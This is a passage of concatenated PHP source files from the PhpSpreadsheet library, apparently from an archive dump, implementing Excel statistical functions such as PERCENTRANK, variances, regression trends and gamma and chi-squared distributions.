1)) { return ExcelError::NAN(); } $mArgs = self::percentileFilterValues($aArgs); $mValueCount = count($mArgs); if ($mValueCount > 0) { sort($mArgs); $count = Counts::COUNT($mArgs); $index = $entry * ($count - 1); $iBase = floor($index); if ($index == $iBase) { return $mArgs[$index]; } $iNext = $iBase + 1; $iProportion = $index - $iBase; return $mArgs[$iBase] + (($mArgs[$iNext] - $mArgs[$iBase]) * $iProportion); } return ExcelError::NAN(); } /** * PERCENTRANK. * * Returns the rank of a value in a data set as a percentage of the data set. * Note that the returned rank is simply rounded to the appropriate significant digits, * rather than floored (as MS Excel), so value 3 for a value set of 1, 2, 3, 4 will return * 0.667 rather than 0.666 * * @param mixed $valueSet An array of (float) values, or a reference to, a list of numbers * @param mixed $value The number whose rank you want to find * @param mixed $significance The (integer) number of significant digits for the returned percentage value * * @return float|string (string if result is an error) */ public static function PERCENTRANK(mixed $valueSet, mixed $value, mixed $significance = 3): string|float { $valueSet = Functions::flattenArray($valueSet); $value = Functions::flattenSingleValue($value); $significance = ($significance === null) ? 3 : Functions::flattenSingleValue($significance); try { $value = StatisticalValidations::validateFloat($value); $significance = StatisticalValidations::validateInt($significance); } catch (Exception $e) { return $e->getMessage(); } $valueSet = self::rankFilterValues($valueSet); $valueCount = count($valueSet); if ($valueCount == 0) { return ExcelError::NA(); } sort($valueSet, SORT_NUMERIC); $valueAdjustor = $valueCount - 1; if (($value < $valueSet[0]) || ($value > $valueSet[$valueAdjustor])) { return ExcelError::NA(); } $pos = array_search($value, $valueSet); if ($pos === false) { $pos = 0; $testValue = $valueSet[0]; while ($testValue < $value) { $testValue = $valueSet[++$pos]; } --$pos; $pos += (($value - $valueSet[$pos]) / ($testValue - $valueSet[$pos])); } return round(((float) $pos) / $valueAdjustor, $significance); } /** * QUARTILE. * * Returns the quartile of a data set. * * Excel Function: * QUARTILE(value1[,value2[, ...]],entry) * * @param mixed $args Data values * * @return float|string The result, or a string containing an error */ public static function QUARTILE(mixed ...$args) { $aArgs = Functions::flattenArray($args); $entry = array_pop($aArgs); try { $entry = StatisticalValidations::validateFloat($entry); } catch (Exception $e) { return $e->getMessage(); } $entry = floor($entry); $entry /= 4; if (($entry < 0) || ($entry > 1)) { return ExcelError::NAN(); } return self::PERCENTILE($aArgs, $entry); } /** * RANK. * * Returns the rank of a number in a list of numbers. * * @param mixed $value The number whose rank you want to find * @param mixed $valueSet An array of float values, or a reference to, a list of numbers * @param mixed $order Order to sort the values in the value set * * @return float|string The result, or a string containing an error (0 = Descending, 1 = Ascending) */ public static function RANK(mixed $value, mixed $valueSet, mixed $order = self::RANK_SORT_DESCENDING) { $value = Functions::flattenSingleValue($value); $valueSet = Functions::flattenArray($valueSet); $order = ($order === null) ? self::RANK_SORT_DESCENDING : Functions::flattenSingleValue($order); try { $value = StatisticalValidations::validateFloat($value); $order = StatisticalValidations::validateInt($order); } catch (Exception $e) { return $e->getMessage(); } $valueSet = self::rankFilterValues($valueSet); if ($order === self::RANK_SORT_DESCENDING) { rsort($valueSet, SORT_NUMERIC); } else { sort($valueSet, SORT_NUMERIC); } $pos = array_search($value, $valueSet); if ($pos === false) { return ExcelError::NA(); } return ++$pos; } protected static function percentileFilterValues(array $dataSet): array { return array_filter( $dataSet, fn ($value): bool => is_numeric($value) && !is_string($value) ); } protected static function rankFilterValues(array $dataSet): array { return array_filter( $dataSet, fn ($value): bool => is_numeric($value) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/StandardDeviations.php000064400000004230151676714400026267 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; class StandardDeviations { /** * STDEV. * * Estimates standard deviation based on a sample. The standard deviation is a measure of how * widely values are dispersed from the average value (the mean). * * Excel Function: * STDEV(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|string The result, or a string containing an error */ public static function STDEV(mixed ...$args) { $result = Variances::VAR(...$args); if (!is_numeric($result)) { return $result; } return sqrt((float) $result); } /** * STDEVA. * * Estimates standard deviation based on a sample, including numbers, text, and logical values * * Excel Function: * STDEVA(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function STDEVA(mixed ...$args): float|string { $result = Variances::VARA(...$args); if (!is_numeric($result)) { return $result; } return sqrt((float) $result); } /** * STDEVP. * * Calculates standard deviation based on the entire population * * Excel Function: * STDEVP(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function STDEVP(mixed ...$args): float|string { $result = Variances::VARP(...$args); if (!is_numeric($result)) { return $result; } return sqrt((float) $result); } /** * STDEVPA. * * Calculates standard deviation based on the entire population, including numbers, text, and logical values * * Excel Function: * STDEVPA(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function STDEVPA(mixed ...$args): float|string { $result = Variances::VARPA(...$args); if (!is_numeric($result)) { return $result; } return sqrt((float) $result); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Variances.php000064400000012075151676714400024422 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Variances extends VarianceBase { /** * VAR. * * Estimates variance based on a sample. * * Excel Function: * VAR(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|string (string if result is an error) */ public static function VAR(mixed ...$args): float|string { $returnValue = ExcelError::DIV0(); $summerA = $summerB = 0.0; // Loop through arguments $aArgs = Functions::flattenArray($args); $aCount = 0; foreach ($aArgs as $arg) { $arg = self::datatypeAdjustmentBooleans($arg); // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $summerA += ($arg * $arg); $summerB += $arg; ++$aCount; } } if ($aCount > 1) { $summerA *= $aCount; $summerB *= $summerB; return ($summerA - $summerB) / ($aCount * ($aCount - 1)); } return $returnValue; } /** * VARA. * * Estimates variance based on a sample, including numbers, text, and logical values * * Excel Function: * VARA(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|string (string if result is an error) */ public static function VARA(mixed ...$args): string|float { $returnValue = ExcelError::DIV0(); $summerA = $summerB = 0.0; // Loop through arguments $aArgs = Functions::flattenArrayIndexed($args); $aCount = 0; foreach ($aArgs as $k => $arg) { if ((is_string($arg)) && (Functions::isValue($k))) { return ExcelError::VALUE(); } elseif ((is_string($arg)) && (!Functions::isMatrixValue($k))) { } else { // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) && ($arg != '')))) { $arg = self::datatypeAdjustmentAllowStrings($arg); $summerA += ($arg * $arg); $summerB += $arg; ++$aCount; } } } if ($aCount > 1) { $summerA *= $aCount; $summerB *= $summerB; return ($summerA - $summerB) / ($aCount * ($aCount - 1)); } return $returnValue; } /** * VARP. * * Calculates variance based on the entire population * * Excel Function: * VARP(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|string (string if result is an error) */ public static function VARP(mixed ...$args): float|string { // Return value $returnValue = ExcelError::DIV0(); $summerA = $summerB = 0.0; // Loop through arguments $aArgs = Functions::flattenArray($args); $aCount = 0; foreach ($aArgs as $arg) { $arg = self::datatypeAdjustmentBooleans($arg); // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $summerA += ($arg * $arg); $summerB += $arg; ++$aCount; } } if ($aCount > 0) { $summerA *= $aCount; $summerB *= $summerB; return ($summerA - $summerB) / ($aCount * $aCount); } return $returnValue; } /** * VARPA. * * Calculates variance based on the entire population, including numbers, text, and logical values * * Excel Function: * VARPA(value1[,value2[, ...]]) * * @param mixed ...$args Data values * * @return float|string (string if result is an error) */ public static function VARPA(mixed ...$args): string|float { $returnValue = ExcelError::DIV0(); $summerA = $summerB = 0.0; // Loop through arguments $aArgs = Functions::flattenArrayIndexed($args); $aCount = 0; foreach ($aArgs as $k => $arg) { if ((is_string($arg)) && (Functions::isValue($k))) { return ExcelError::VALUE(); } elseif ((is_string($arg)) && (!Functions::isMatrixValue($k))) { } else { // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) && ($arg != '')))) { $arg = self::datatypeAdjustmentAllowStrings($arg); $summerA += ($arg * $arg); $summerB += $arg; ++$aCount; } } } if ($aCount > 0) { $summerA *= $aCount; $summerB *= $summerB; return ($summerA - $summerB) / ($aCount * $aCount); } return $returnValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Standardize.php000064400000003204151676714400024751 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Standardize extends StatisticalValidations { use ArrayEnabled; /** * STANDARDIZE. * * Returns a normalized value from a distribution characterized by mean and standard_dev. * * @param array|float $value Value to normalize * Or can be an array of values * @param array|float $mean Mean Value * Or can be an array of values * @param array|float $stdDev Standard Deviation * Or can be an array of values * * @return array|float|string Standardized value, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function execute($value, $mean, $stdDev): array|string|float { if (is_array($value) || is_array($mean) || is_array($stdDev)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $mean, $stdDev); } try { $value = self::validateFloat($value); $mean = self::validateFloat($mean); $stdDev = self::validateFloat($stdDev); } catch (Exception $e) { return $e->getMessage(); } if ($stdDev <= 0) { return ExcelError::NAN(); } return ($value - $mean) / $stdDev; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/VarianceBase.php000064400000001265151676714400025031 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Functions; abstract class VarianceBase { protected static function datatypeAdjustmentAllowStrings(int|float|string|bool $value): int|float { if (is_bool($value)) { return (int) $value; } elseif (is_string($value)) { return 0; } return $value; } protected static function datatypeAdjustmentBooleans(mixed $value): mixed { if (is_bool($value) && (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_OPENOFFICE)) { return (int) $value; } return $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/AggregateBase.php000064400000003651151676714400025170 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Functions; abstract class AggregateBase { /** * MS Excel does not count Booleans if passed as cell values, but they are counted if passed as literals. * OpenOffice Calc always counts Booleans. * Gnumeric never counts Booleans. */ protected static function testAcceptedBoolean(mixed $arg, mixed $k): mixed { if (!is_bool($arg)) { return $arg; } if (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_GNUMERIC) { return $arg; } if (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE) { return (int) $arg; } if (!Functions::isCellValue($k)) { return (int) $arg; } /*if ( (is_bool($arg)) && ((!Functions::isCellValue($k) && (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_EXCEL)) || (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE)) ) { $arg = (int) $arg; }*/ return $arg; } protected static function isAcceptedCountable(mixed $arg, mixed $k, bool $countNull = false): bool { if ($countNull && $arg === null && !Functions::isCellValue($k) && Functions::getCompatibilityMode() !== Functions::COMPATIBILITY_GNUMERIC) { return true; } if (!is_numeric($arg)) { return false; } if (!is_string($arg)) { return true; } if (!Functions::isCellValue($k) && Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE) { return true; } if (!Functions::isCellValue($k) && Functions::getCompatibilityMode() !== Functions::COMPATIBILITY_GNUMERIC) { return true; } return false; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Trends.php000064400000034507151676714400023752 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Trend\Trend; class Trends { use ArrayEnabled; private static function filterTrendValues(array &$array1, array &$array2): void { foreach ($array1 as $key => $value) { if ((is_bool($value)) || (is_string($value)) || ($value === null)) { unset($array1[$key], $array2[$key]); } } } /** * @param mixed $array1 should be array, but scalar is made into one * @param mixed $array2 should be array, but scalar is made into one */ private static function checkTrendArrays(mixed &$array1, mixed &$array2): void { if (!is_array($array1)) { $array1 = [$array1]; } if (!is_array($array2)) { $array2 = [$array2]; } $array1 = Functions::flattenArray($array1); $array2 = Functions::flattenArray($array2); self::filterTrendValues($array1, $array2); self::filterTrendValues($array2, $array1); // Reset the array indexes $array1 = array_merge($array1); $array2 = array_merge($array2); } protected static function validateTrendArrays(array $yValues, array $xValues): void { $yValueCount = count($yValues); $xValueCount = count($xValues); if (($yValueCount === 0) || ($yValueCount !== $xValueCount)) { throw new Exception(ExcelError::NA()); } elseif ($yValueCount === 1) { throw new Exception(ExcelError::DIV0()); } } /** * CORREL. * * Returns covariance, the average of the products of deviations for each data point pair. * * @param mixed $yValues array of mixed Data Series Y * @param null|mixed $xValues array of mixed Data Series X */ public static function CORREL(mixed $yValues, $xValues = null): float|string { if (($xValues === null) || (!is_array($yValues)) || (!is_array($xValues))) { return ExcelError::VALUE(); } try { self::checkTrendArrays($yValues, $xValues); self::validateTrendArrays($yValues, $xValues); } catch (Exception $e) { return $e->getMessage(); } $bestFitLinear = Trend::calculate(Trend::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getCorrelation(); } /** * COVAR. * * Returns covariance, the average of the products of deviations for each data point pair. * * @param mixed[] $yValues array of mixed Data Series Y * @param mixed[] $xValues array of mixed Data Series X */ public static function COVAR(array $yValues, array $xValues): float|string { try { self::checkTrendArrays($yValues, $xValues); self::validateTrendArrays($yValues, $xValues); } catch (Exception $e) { return $e->getMessage(); } $bestFitLinear = Trend::calculate(Trend::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getCovariance(); } /** * FORECAST. * * Calculates, or predicts, a future value by using existing values. * The predicted value is a y-value for a given x-value. * * @param mixed $xValue Float value of X for which we want to find Y * Or can be an array of values * @param mixed[] $yValues array of mixed Data Series Y * @param mixed[] $xValues array of mixed Data Series X * * @return array|bool|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function FORECAST(mixed $xValue, array $yValues, array $xValues) { if (is_array($xValue)) { return self::evaluateArrayArgumentsSubset([self::class, __FUNCTION__], 1, $xValue, $yValues, $xValues); } try { $xValue = StatisticalValidations::validateFloat($xValue); self::checkTrendArrays($yValues, $xValues); self::validateTrendArrays($yValues, $xValues); } catch (Exception $e) { return $e->getMessage(); } $bestFitLinear = Trend::calculate(Trend::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getValueOfYForX($xValue); } /** * GROWTH. * * Returns values along a predicted exponential Trend * * @param mixed[] $yValues Data Series Y * @param mixed[] $xValues Data Series X * @param mixed[] $newValues Values of X for which we want to find Y * @param mixed $const A logical (boolean) value specifying whether to force the intersect to equal 0 or not * * @return array<int, array<int, array<int, float>>> */ public static function GROWTH(array $yValues, array $xValues = [], array $newValues = [], mixed $const = true): array { $yValues = Functions::flattenArray($yValues); $xValues = Functions::flattenArray($xValues); $newValues = Functions::flattenArray($newValues); $const = ($const === null) ? true : (bool) Functions::flattenSingleValue($const); $bestFitExponential = Trend::calculate(Trend::TREND_EXPONENTIAL, $yValues, $xValues, $const); if (empty($newValues)) { $newValues = $bestFitExponential->getXValues(); } $returnArray = []; foreach ($newValues as $xValue) { $returnArray[0][] = [$bestFitExponential->getValueOfYForX($xValue)]; } return $returnArray; } /** * INTERCEPT. * * Calculates the point at which a line will intersect the y-axis by using existing x-values and y-values. * * @param mixed[] $yValues Data Series Y * @param mixed[] $xValues Data Series X */ public static function INTERCEPT(array $yValues, array $xValues): float|string { try { self::checkTrendArrays($yValues, $xValues); self::validateTrendArrays($yValues, $xValues); } catch (Exception $e) { return $e->getMessage(); } $bestFitLinear = Trend::calculate(Trend::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getIntersect(); } /** * LINEST. * * Calculates the statistics for a line by using the "least squares" method to calculate a straight line * that best fits your data, and then returns an array that describes the line. * * @param mixed[] $yValues Data Series Y * @param null|mixed[] $xValues Data Series X * @param mixed $const A logical (boolean) value specifying whether to force the intersect to equal 0 or not * @param mixed $stats A logical (boolean) value specifying whether to return additional regression statistics * * @return array|string The result, or a string containing an error */ public static function LINEST(array $yValues, ?array $xValues = null, mixed $const = true, mixed $stats = false): string|array { $const = ($const === null) ? true : (bool) Functions::flattenSingleValue($const); $stats = ($stats === null) ? false : (bool) Functions::flattenSingleValue($stats); if ($xValues === null) { $xValues = $yValues; } try { self::checkTrendArrays($yValues, $xValues); self::validateTrendArrays($yValues, $xValues); } catch (Exception $e) { return $e->getMessage(); } $bestFitLinear = Trend::calculate(Trend::TREND_LINEAR, $yValues, $xValues, $const); if ($stats === true) { return [ [ $bestFitLinear->getSlope(), $bestFitLinear->getIntersect(), ], [ $bestFitLinear->getSlopeSE(), ($const === false) ? ExcelError::NA() : $bestFitLinear->getIntersectSE(), ], [ $bestFitLinear->getGoodnessOfFit(), $bestFitLinear->getStdevOfResiduals(), ], [ $bestFitLinear->getF(), $bestFitLinear->getDFResiduals(), ], [ $bestFitLinear->getSSRegression(), $bestFitLinear->getSSResiduals(), ], ]; } return [ $bestFitLinear->getSlope(), $bestFitLinear->getIntersect(), ]; } /** * LOGEST. * * Calculates an exponential curve that best fits the X and Y data series, * and then returns an array that describes the line. * * @param mixed[] $yValues Data Series Y * @param null|mixed[] $xValues Data Series X * @param mixed $const A logical (boolean) value specifying whether to force the intersect to equal 0 or not * @param mixed $stats A logical (boolean) value specifying whether to return additional regression statistics * * @return array|string The result, or a string containing an error */ public static function LOGEST(array $yValues, ?array $xValues = null, mixed $const = true, mixed $stats = false): string|array { $const = ($const === null) ? true : (bool) Functions::flattenSingleValue($const); $stats = ($stats === null) ? false : (bool) Functions::flattenSingleValue($stats); if ($xValues === null) { $xValues = $yValues; } try { self::checkTrendArrays($yValues, $xValues); self::validateTrendArrays($yValues, $xValues); } catch (Exception $e) { return $e->getMessage(); } foreach ($yValues as $value) { if ($value < 0.0) { return ExcelError::NAN(); } } $bestFitExponential = Trend::calculate(Trend::TREND_EXPONENTIAL, $yValues, $xValues, $const); if ($stats === true) { return [ [ $bestFitExponential->getSlope(), $bestFitExponential->getIntersect(), ], [ $bestFitExponential->getSlopeSE(), ($const === false) ? ExcelError::NA() : $bestFitExponential->getIntersectSE(), ], [ $bestFitExponential->getGoodnessOfFit(), $bestFitExponential->getStdevOfResiduals(), ], [ $bestFitExponential->getF(), $bestFitExponential->getDFResiduals(), ], [ $bestFitExponential->getSSRegression(), $bestFitExponential->getSSResiduals(), ], ]; } return [ $bestFitExponential->getSlope(), $bestFitExponential->getIntersect(), ]; } /** * RSQ. * * Returns the square of the Pearson product moment correlation coefficient through data points * in known_y's and known_x's. * * @param mixed[] $yValues Data Series Y * @param mixed[] $xValues Data Series X * * @return float|string The result, or a string containing an error */ public static function RSQ(array $yValues, array $xValues) { try { self::checkTrendArrays($yValues, $xValues); self::validateTrendArrays($yValues, $xValues); } catch (Exception $e) { return $e->getMessage(); } $bestFitLinear = Trend::calculate(Trend::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getGoodnessOfFit(); } /** * SLOPE. * * Returns the slope of the linear regression line through data points in known_y's and known_x's. * * @param mixed[] $yValues Data Series Y * @param mixed[] $xValues Data Series X * * @return float|string The result, or a string containing an error */ public static function SLOPE(array $yValues, array $xValues) { try { self::checkTrendArrays($yValues, $xValues); self::validateTrendArrays($yValues, $xValues); } catch (Exception $e) { return $e->getMessage(); } $bestFitLinear = Trend::calculate(Trend::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getSlope(); } /** * STEYX. * * Returns the standard error of the predicted y-value for each x in the regression. * * @param mixed[] $yValues Data Series Y * @param mixed[] $xValues Data Series X */ public static function STEYX(array $yValues, array $xValues): float|string { try { self::checkTrendArrays($yValues, $xValues); self::validateTrendArrays($yValues, $xValues); } catch (Exception $e) { return $e->getMessage(); } $bestFitLinear = Trend::calculate(Trend::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getStdevOfResiduals(); } /** * TREND. * * Returns values along a linear Trend * * @param mixed[] $yValues Data Series Y * @param mixed[] $xValues Data Series X * @param mixed[] $newValues Values of X for which we want to find Y * @param mixed $const A logical (boolean) value specifying whether to force the intersect to equal 0 or not * * @return array<int, array<int, array<int, float>>> */ public static function TREND(array $yValues, array $xValues = [], array $newValues = [], mixed $const = true): array { $yValues = Functions::flattenArray($yValues); $xValues = Functions::flattenArray($xValues); $newValues = Functions::flattenArray($newValues); $const = ($const === null) ? true : (bool) Functions::flattenSingleValue($const); $bestFitLinear = Trend::calculate(Trend::TREND_LINEAR, $yValues, $xValues, $const); if (empty($newValues)) { $newValues = $bestFitLinear->getXValues(); } $returnArray = []; foreach ($newValues as $xValue) { $returnArray[0][] = [$bestFitLinear->getValueOfYForX($xValue)]; } return $returnArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/Exponential.php000064400000004064151676714400027636 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Exponential { use ArrayEnabled; /** * EXPONDIST. * * Returns the exponential distribution. Use EXPONDIST to model the time between events, * such as how long an automated bank teller takes to deliver cash. For example, you can * use EXPONDIST to determine the probability that the process takes at most 1 minute. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * @param mixed $lambda The parameter value as a float * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $lambda, mixed $cumulative): array|string|float { if (is_array($value) || is_array($lambda) || is_array($cumulative)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $lambda, $cumulative); } try { $value = DistributionValidations::validateFloat($value); $lambda = DistributionValidations::validateFloat($lambda); $cumulative = DistributionValidations::validateBool($cumulative); } catch (Exception $e) { return $e->getMessage(); } if (($value < 0) || ($lambda < 0)) { return ExcelError::NAN(); } if ($cumulative === true) { return 1 - exp(0 - $value * $lambda); } return $lambda * exp(0 - $value * $lambda); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/Gamma.php000064400000012346151676714400026374 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Gamma extends GammaBase { use ArrayEnabled; /** * GAMMA. * * Return the gamma function value. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function gamma(mixed $value): array|string|float { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } try { $value = DistributionValidations::validateFloat($value); } catch (Exception $e) { return $e->getMessage(); } if ((((int) $value) == ((float) $value)) && $value <= 0.0) { return ExcelError::NAN(); } return self::gammaValue($value); } /** * GAMMADIST. * * Returns the gamma distribution. * * @param mixed $value Float Value at which you want to evaluate the distribution * Or can be an array of values * @param mixed $a Parameter to the distribution as a float * Or can be an array of values * @param mixed $b Parameter to the distribution as a float * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $a, mixed $b, mixed $cumulative) { if (is_array($value) || is_array($a) || is_array($b) || is_array($cumulative)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $a, $b, $cumulative); } try { $value = DistributionValidations::validateFloat($value); $a = DistributionValidations::validateFloat($a); $b = DistributionValidations::validateFloat($b); $cumulative = DistributionValidations::validateBool($cumulative); } catch (Exception $e) { return $e->getMessage(); } if (($value < 0) || ($a <= 0) || ($b <= 0)) { return ExcelError::NAN(); } return self::calculateDistribution($value, $a, $b, $cumulative); } /** * GAMMAINV. * * Returns the inverse of the Gamma distribution. * * @param mixed $probability Float probability at which you want to evaluate the distribution * Or can be an array of values * @param mixed $alpha Parameter to the distribution as a float * Or can be an array of values * @param mixed $beta Parameter to the distribution as a float * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function inverse(mixed $probability, mixed $alpha, mixed $beta) { if (is_array($probability) || is_array($alpha) || is_array($beta)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $probability, $alpha, $beta); } try { $probability = DistributionValidations::validateProbability($probability); $alpha = DistributionValidations::validateFloat($alpha); $beta = DistributionValidations::validateFloat($beta); } catch (Exception $e) { return $e->getMessage(); } if (($alpha <= 0.0) || ($beta <= 0.0)) { return ExcelError::NAN(); } return self::calculateInverse($probability, $alpha, $beta); } /** * GAMMALN. * * Returns the natural logarithm of the gamma function. * * @param mixed $value Float Value at which you want to evaluate the distribution * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function ln(mixed $value): array|string|float { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } try { $value = DistributionValidations::validateFloat($value); } catch (Exception $e) { return $e->getMessage(); } if ($value <= 0) { return ExcelError::NAN(); } return log(self::gammaValue($value)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/ChiSquared.php000064400000025567151676714400027413 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class ChiSquared { use ArrayEnabled; private const EPS = 2.22e-16; /** * CHIDIST. * * Returns the one-tailed probability of the chi-squared distribution. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * @param mixed $degrees Integer degrees of freedom * Or can be an array of values * * @return array|float|int|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distributionRightTail(mixed $value, mixed $degrees): array|string|int|float { if (is_array($value) || is_array($degrees)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $degrees); } try { $value = DistributionValidations::validateFloat($value); $degrees = DistributionValidations::validateInt($degrees); } catch (Exception $e) { return $e->getMessage(); } if ($degrees < 1) { return ExcelError::NAN(); } if ($value < 0) { if (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_GNUMERIC) { return 1; } return ExcelError::NAN(); } return 1 - (Gamma::incompleteGamma($degrees / 2, $value / 2) / Gamma::gammaValue($degrees / 2)); } /** * CHIDIST. * * Returns the one-tailed probability of the chi-squared distribution. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * @param mixed $degrees Integer degrees of freedom * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|int|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distributionLeftTail(mixed $value, mixed $degrees, mixed $cumulative): array|string|int|float { if (is_array($value) || is_array($degrees) || is_array($cumulative)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $degrees, $cumulative); } try { $value = DistributionValidations::validateFloat($value); $degrees = DistributionValidations::validateInt($degrees); $cumulative = DistributionValidations::validateBool($cumulative); } catch (Exception $e) { return $e->getMessage(); } if ($degrees < 1) { return ExcelError::NAN(); } if ($value < 0) { if (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_GNUMERIC) { return 1; } return ExcelError::NAN(); } if ($cumulative === true) { $temp = self::distributionRightTail($value, $degrees); return 1 - (is_numeric($temp) ? $temp : 0); } return ($value ** (($degrees / 2) - 1) * exp(-$value / 2)) / ((2 ** ($degrees / 2)) * Gamma::gammaValue($degrees / 2)); } /** * CHIINV. * * Returns the inverse of the right-tailed probability of the chi-squared distribution. * * @param mixed $probability Float probability at which you want to evaluate the distribution * Or can be an array of values * @param mixed $degrees Integer degrees of freedom * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function inverseRightTail(mixed $probability, mixed $degrees) { if (is_array($probability) || is_array($degrees)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $probability, $degrees); } try { $probability = DistributionValidations::validateProbability($probability); $degrees = DistributionValidations::validateInt($degrees); } catch (Exception $e) { return $e->getMessage(); } if ($degrees < 1) { return ExcelError::NAN(); } $callback = function ($value) use ($degrees): float { return 1 - (Gamma::incompleteGamma($degrees / 2, $value / 2) / Gamma::gammaValue($degrees / 2)); }; $newtonRaphson = new NewtonRaphson($callback); return $newtonRaphson->execute($probability); } /** * CHIINV. * * Returns the inverse of the left-tailed probability of the chi-squared distribution. * * @param mixed $probability Float probability at which you want to evaluate the distribution * Or can be an array of values * @param mixed $degrees Integer degrees of freedom * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function 